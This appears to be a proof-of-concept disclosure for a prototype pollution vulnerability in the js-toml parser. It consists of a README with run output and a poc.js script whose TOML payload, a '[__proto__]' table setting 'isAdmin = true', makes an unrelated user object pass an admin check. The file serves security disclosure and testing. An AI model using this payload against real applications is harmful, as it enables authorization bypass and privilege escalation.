js-toml Prototype Pollution PoC

README.md

To run the Proof-of-Concept (PoC) script, you could run the following command:

└> node poc.js
[*] Before pollution...
[-] Not an admin user
[*] TOML data:

[__proto__]
isAdmin = true

[*] After pollution...
[+] Is an admin user

poc.js

import { load } from 'js-toml';

const user = { username: 'foo' };

const isAdmin = (user) => {
    if (user.isAdmin !== true) {
        console.log('[-] Not an admin user');
        return;
    }

    console.log('[+] Is an admin user');
}

console.log('[*] Before pollution...');
isAdmin(user);

const toml = `
[__proto__]
isAdmin = true
`;
console.log(`[*] TOML data:\n${toml}`);
load(toml);

console.log('[*] After pollution...');
isAdmin(user);